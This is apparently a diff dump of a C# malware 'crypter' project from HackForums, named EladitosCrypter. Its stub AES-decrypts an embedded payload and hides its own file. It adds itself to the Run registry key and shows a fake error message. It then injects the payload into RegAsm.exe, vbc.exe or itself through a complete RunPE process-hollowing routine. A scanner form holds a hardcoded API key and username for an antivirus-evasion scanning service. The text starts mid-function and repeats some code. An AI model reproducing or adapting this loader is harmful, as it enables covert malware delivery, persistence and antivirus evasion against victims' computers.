int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0)
{
allowOverride = true;
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
if (newImageBase == 0)
return false;
}
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
return false;
int sectionOffset = fileAddress + 248;
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
for (int I = 0; I <= numberOfSections - 1; I++)
{
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
if (sizeOfRawData != 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
return false;
}
sectionOffset += 40;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
return false;
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
if (allowOverride)
newImageBase = imageBase;
context[44] = newImageBase + addressOfEntryPoint;
if (!SetThreadContext(pi.ThreadHandle, context))
return false;
if (ResumeThread(pi.ThreadHandle) == -1)
return false;
return true;
}
}
}
@@ -0,0 +1,333 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using System.ComponentModel;
using System.Text;
[assembly: AssemblyTitle("[title-replace]")]
[assembly: AssemblyDescription("[desc-replace]")]
[assembly: AssemblyCompany("[company-replace]")]
[assembly: AssemblyProduct("[product-replace]")]
[assembly: AssemblyCopyright("[copyright-replace]")]
[assembly: AssemblyTrademark("[trademark-replace]")]
[assembly: AssemblyVersion("[version-replace]")]
[assembly: AssemblyFileVersion("[fversion-replace]")]
//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace stupidcancercodeisruiningeverything
{
static class Program
{
[STAThread]
static void Main()
{
//Basic delay
Thread.Sleep([delay-replace] * 1000);
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
}
class Reader
{
//Reading the encrypted bytes from our resource file
public static byte[] ReadManaged()
{
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
byte[] bytes = (byte[])manager.GetObject("encfile");
return bytes;
}
}
public class FrmOne : Form
{
//Making the form hidden
private void InitializeComponent()
{
SuspendLayout();
ResumeLayout(false);
PerformLayout();
ShowInTaskbar = false;
WindowState = FormWindowState.Minimized;
}
//Self explantory
bool _startup = [startup-replace];
string injectTo = "[inject-replace]";
bool _fakemessage = [fakemessage-replace];
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
public FrmOne()
{
InitializeComponent();
//Giving a byte array for our encrypted bytes
byte[] fBytes = Reader.ReadManaged();
//The encryption key
string encKey = "[key-replace]";
//The encryption key in bytes
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
//Makign a hash for the encryption key
encKey2 = SHA256.Create().ComputeHash(encKey2);
//The decrypted bytes
byte[] eBytes = AESDecrypt(fBytes,encKey2);
//Crypting process
string result = Encoding.UTF8.GetString(eBytes);
//The all decrypted bytes
byte[] eBytes2 = Convert.FromBase64String(result);
//If user choosed startup add to startup
if (_startup)
AddToStartup();
//Make the file hidden
HideFile();
Thread.Sleep(500);
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
if(injectTo == "[itself]")
KillerMemestart.FMEMES(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName,"",eBytes2);
if(injectTo =="[regasm]")
KillerMemestart.FMEMES(injectionPath2, "", eBytes2);
if(injectTo == "[vbc]")
KillerMemestart.FMEMES(injectionPath3, "", eBytes2);
//Fake Message
if(_fakemessage)
{
MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK,MessageBoxIcon.Error);
}
//Stopping the program because runpe is already injected
Environment.Exit(0);
}
//Decryption method
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
//The adding to startup
public void AddToStartup()
{
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
string path2 = Path.Combine(path, "[finame-replace].exe");
if (!File.Exists(path2))
{
DirectoryInfo di = Directory.CreateDirectory(path);
File.Copy(Application.ExecutablePath, path2, true);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null) key.SetValue("[regkey-replace]", path2);
}
}
public void HideFile()
{
//Hiding
FileInfo f = new FileInfo(Application.ExecutablePath);
f.Attributes = FileAttributes.Hidden;
}
}
static class KillerMemestart
{
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
private static extern int ResumeThread(IntPtr handle);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
private readonly uint ProcessId;
private readonly uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
public static bool FMEMES(string path, string cmd, byte[] data)
{
int readWrite = 0;
string quotedPath = string.Format("\"{0}\"", path);
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
if (string.IsNullOrEmpty(cmd))
{
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
else
{
quotedPath = quotedPath + " " + cmd;
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
return false;
}
int fileAddress = BitConverter.ToInt32(data, 60);
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
int[] context = new int[179];
context[0] = 65538;
if (!GetThreadContext(pi.ThreadHandle, context))
return false;
int ebx = context[41];
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
return false;
if (imageBase == baseAddress)
{
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
return false;
}
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
bool allowOverride = false;
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0)
{
allowOverride = true;
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
if (newImageBase == 0)
return false;
}
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
return false;
int sectionOffset = fileAddress + 248;
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
for (int I = 0; I <= numberOfSections - 1; I++)
{
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
if (sizeOfRawData != 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
return false;
}
sectionOffset += 40;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
return false;
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
if (allowOverride)
newImageBase = imageBase;
context[44] = newImageBase + addressOfEntryPoint;
if (!SetThreadContext(pi.ThreadHandle, context))
return false;
if (ResumeThread(pi.ThreadHandle) == -1)
return false;
return true;
}
}
}
@@ -0,0 +1,48 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using Timer = System.Timers.Timer;
namespace fuckcancercode
{
static class Program
{
[STAThread]
static void Main0()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
public class FrmOne : Form
{
public FrmOne()
{
Timer timer1 = new Timer();
timer1.Interval = 500;
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
string pers = "notepad.exe";
if (Process.GetProcessesByName(pers).Length < 1)
{
{
Process.Start(pers);
// Is running
}
}
}
}
}
}
@@ -0,0 +1,48 @@
using Microsoft.Win32;
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
using Timer = System.Timers.Timer;
namespace fuckcancercode
{
static class Program
{
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new FrmOne());
}
public class FrmOne : Form
{
public FrmOne()
{
Timer timer1 = new Timer();
timer1.Interval = 500;
timer1.Start();
}
private void timer1_Tick(object sender, EventArgs e)
{
string pers = "notepad.exe";
if (Process.GetProcessesByName(pers).Length < 1)
{
{
Process.Start(pers);
// Is running
}
}
}
}
}
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,79 @@
using System;
using System.Text;
using System.Security.Cryptography;
using System.IO;
//Copyright 2016
//Made by mrmutt for hackforums uid=3005497
//Please leave this note here
namespace ForceCrypterSmall
{
public class Encboop
{
public static byte[] AESEncrypt(byte[] encrypt, byte[] key2)
{
byte[] encryptedBytes = null;
// Set your salt here, change it to meet your flavor:
// The salt bytes must be at least 8 bytes.
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(encrypt, 0, encrypt.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(decrypted, 0, decrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}
}
}
BIN
View File
Binary file not shown.
Binary file not shown.
+159
View File
@@ -0,0 +1,159 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" DefaultTargets="Build">
<PropertyGroup>
<ProjectType>Local</ProjectType>
<ProductVersion>7.10.3077</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}</ProjectGuid>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ApplicationIcon />
<AssemblyKeyContainerName />
<AssemblyName>EladitosCrypter</AssemblyName>
<AssemblyOriginatorKeyFile />
<DefaultClientScript>JScript</DefaultClientScript>
<DefaultHTMLPageLayout>Grid</DefaultHTMLPageLayout>
<DefaultTargetSchema>IE50</DefaultTargetSchema>
<DelaySign>false</DelaySign>
<OutputType>WinExe</OutputType>
<RootNamespace>EladitosCrypter</RootNamespace>
<RunPostBuildEvent>OnBuildSuccess</RunPostBuildEvent>
<StartupObject />
<FileUpgradeFlags>
</FileUpgradeFlags>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<UpgradeBackupLocation>
</UpgradeBackupLocation>
<OldToolsVersion>0.0</OldToolsVersion>
<PublishUrl>publier\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<OutputPath>bin\Debug\</OutputPath>
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
<BaseAddress>285212672</BaseAddress>
<CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
<ConfigurationOverrideFile />
<DefineConstants>DEBUG;TRACE</DefineConstants>
<DocumentationFile />
<DebugSymbols>true</DebugSymbols>
<FileAlignment>4096</FileAlignment>
<NoStdLib>false</NoStdLib>
<NoWarn />
<Optimize>false</Optimize>
<RegisterForComInterop>false</RegisterForComInterop>
<RemoveIntegerChecks>false</RemoveIntegerChecks>
<TreatWarningsAsErrors>false</TreatWarningsAsErrors>
<WarningLevel>4</WarningLevel>
<DebugType>full</DebugType>
<ErrorReport>prompt</ErrorReport>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<OutputPath>bin\Release\</OutputPath>
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
<BaseAddress>285212672</BaseAddress>
<CheckForOverflowUnderflow>false</CheckForOverflowUnderflow>
<ConfigurationOverrideFile />
<DefineConstants>TRACE</DefineConstants>
<DocumentationFile />
<DebugSymbols>false</DebugSymbols>
<FileAlignment>4096</FileAlignment>
<NoStdLib>false</NoStdLib>
<NoWarn />
<Optimize>true</Optimize>
<RegisterForComInterop>false</RegisterForComInterop>
<RemoveIntegerChecks>false</RemoveIntegerChecks>
<TreatWarningsAsErrors>false</TreatWarningsAsErrors>
<WarningLevel>4</WarningLevel>
<DebugType>none</DebugType>
<ErrorReport>prompt</ErrorReport>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<ItemGroup>
<Reference Include="mscorlib">
<Name>mscorlib</Name>
<HintPath>mscorlib.dll</HintPath>
</Reference>
<Reference Include="System">
<Name>System</Name>
<HintPath>System.dll</HintPath>
</Reference>
<Reference Include="System.Drawing">
<Name>System.Drawing</Name>
<HintPath>System.Drawing.dll</HintPath>
</Reference>
<Reference Include="System.Windows.Forms">
<Name>System.Windows.Forms</Name>
<HintPath>System.Windows.Forms.dll</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Compile Include="EladitosCrypter\Form1.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="EladitosCrypter\Program.cs">
<SubType>Code</SubType>
</Compile>
<Compile Include="EladitosCrypter\Scanner.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="EladitosCrypter\UploadFile.cs">
<SubType>Code</SubType>
</Compile>
<Compile Include="InstaTheme.cs">
<SubType>Component</SubType>
</Compile>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DesignTime>True</DesignTime>
<DependentUpon>Resources.resx</DependentUpon>
</Compile>
<Compile Include="reFUDme_Scanner\XtendPicBox.cs">
<SubType>Component</SubType>
</Compile>
<EmbeddedResource Include="EladitosCrypter\Form1.resx">
<DependentUpon>Form1.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>true</Install>
</BootstrapperPackage>
</ItemGroup>
<ItemGroup>
<None Include="app.config" />
<None Include="Resources\RunNet" />
</ItemGroup>
<ItemGroup />
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<PropertyGroup>
<PreBuildEvent />
<PostBuildEvent />
</PropertyGroup>
</Project>
+13
View File
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<PublishUrlHistory />
<InstallUrlHistory />
<SupportUrlHistory />
<UpdateUrlHistory />
<BootstrapperUrlHistory />
<ErrorReportUrlHistory />
<FallbackCulture>fr-FR</FallbackCulture>
<VerifyUploadedFiles>false</VerifyUploadedFiles>
</PropertyGroup>
</Project>
+22
View File
@@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EladitosCrypter", "EladitosCrypter.csproj", "{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Debug|Any CPU.Build.0 = Debug|Any CPU
{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Release|Any CPU.ActiveCfg = Release|Any CPU
{F8FF43D0-A45B-4028-8024-DB4E7B1A34A1}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
File diff suppressed because it is too large Load Diff
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+18
View File
@@ -0,0 +1,18 @@
namespace EladitosCrypter
{
using System;
using System.Windows.Forms;
internal static class Program
{
// Methods
[STAThread]
private static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
+251
View File
@@ -0,0 +1,251 @@
namespace EladitosCrypter
{
using reFUDme_Scanner;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.ComponentModel;
using System.Drawing;
using System.Globalization;
using System.IO;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Windows.Forms;
public class Scanner : Form
{
// Fields
private IContainer components = null;
private InstaButton instaButton1;
private InstaButton instaButton2;
private InstaButton instaButton3;
private InstaTheme iscannther;
private InstaLabel label2;
public string loc = "";
public static string Scanapi = "0a6fd6b56d9d39f4257f8316a2e4d07f";
private static string Scanurl = "http://s2.razorscanner.com/public_api.php";
public static string Scanusername = "killamuvz";
private TextBox txtURL;
private XtendPicBox xtendPicBox1;
// Methods
public Scanner()
{
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && (this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.iscannther = new InstaTheme();
this.instaButton3 = new InstaButton();
this.txtURL = new TextBox();
this.instaButton1 = new InstaButton();
this.instaButton2 = new InstaButton();
this.label2 = new InstaLabel();
this.xtendPicBox1 = new XtendPicBox();
base.SuspendLayout();
this.iscannther.Dock = DockStyle.Fill;
this.iscannther.Font = new Font("Verdana", 7f);
this.iscannther.ForeColor = Color.FromArgb(0x4c, 160, 190);
this.iscannther.Location = new Point(0, 0);
this.iscannther.Name = "iscannther";
this.iscannther.ShowIcon = false;
this.iscannther.Size = new Size(0x224, 0x1eb);
this.iscannther.TabIndex = 0;
this.iscannther.Text = "Scanner";
this.instaButton3.Font = new Font("Verdana", 7f);
this.instaButton3.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9);
this.instaButton3.Location = new Point(0x1f1, 0);
this.instaButton3.Name = "instaButton3";
this.instaButton3.Size = new Size(0x12, 0x10);
this.instaButton3.TabIndex = 0x17;
this.instaButton3.Text = "X";
this.instaButton3.Click += new EventHandler(this.instaButton3_Click);
this.txtURL.BackColor = Color.FromArgb(40, 40, 40);
this.txtURL.BorderStyle = BorderStyle.FixedSingle;
this.txtURL.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9);
this.txtURL.Location = new Point(30, 0x1b0);
this.txtURL.Name = "txtURL";
this.txtURL.Size = new Size(0x132, 20);
this.txtURL.TabIndex = 0x2f;
this.txtURL.TextChanged += new EventHandler(this.txtURL_TextChanged);
this.instaButton1.Font = new Font("Verdana", 7f);
this.instaButton1.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9);
this.instaButton1.Location = new Point(0x167, 0x1af);
this.instaButton1.Name = "instaButton1";
this.instaButton1.Size = new Size(0x4b, 0x17);
this.instaButton1.TabIndex = 0x31;
this.instaButton1.Text = "Load";
this.instaButton1.Click += new EventHandler(this.instaButton1_Click);
this.instaButton2.Font = new Font("Verdana", 7f);
this.instaButton2.ForeColor = Color.FromArgb(0xf9, 0xf9, 0xf9);
this.instaButton2.Location = new Point(440, 0x1af);
this.instaButton2.Name = "instaButton2";
this.instaButton2.Size = new Size(0x4b, 0x17);
this.instaButton2.TabIndex = 50;
this.instaButton2.Text = "Scan";
this.instaButton2.Click += new EventHandler(this.instaButton2_Click);
this.label2.BackColor = Color.FromArgb(50, 50, 50);
this.label2.Font = new Font("Verdana", 7f);
this.label2.ForeColor = Color.FromArgb(0x4c, 160, 190);
this.label2.Location = new Point(0x167, 0x1ce);
this.label2.Name = "label2";
this.label2.Size = new Size(0x86, 0x13);
this.label2.TabIndex = 0x33;
this.label2.Text = "Please Load File";
this.xtendPicBox1.AutoScroll = true;
this.xtendPicBox1.BackColor = Color.FromArgb(50, 50, 50);
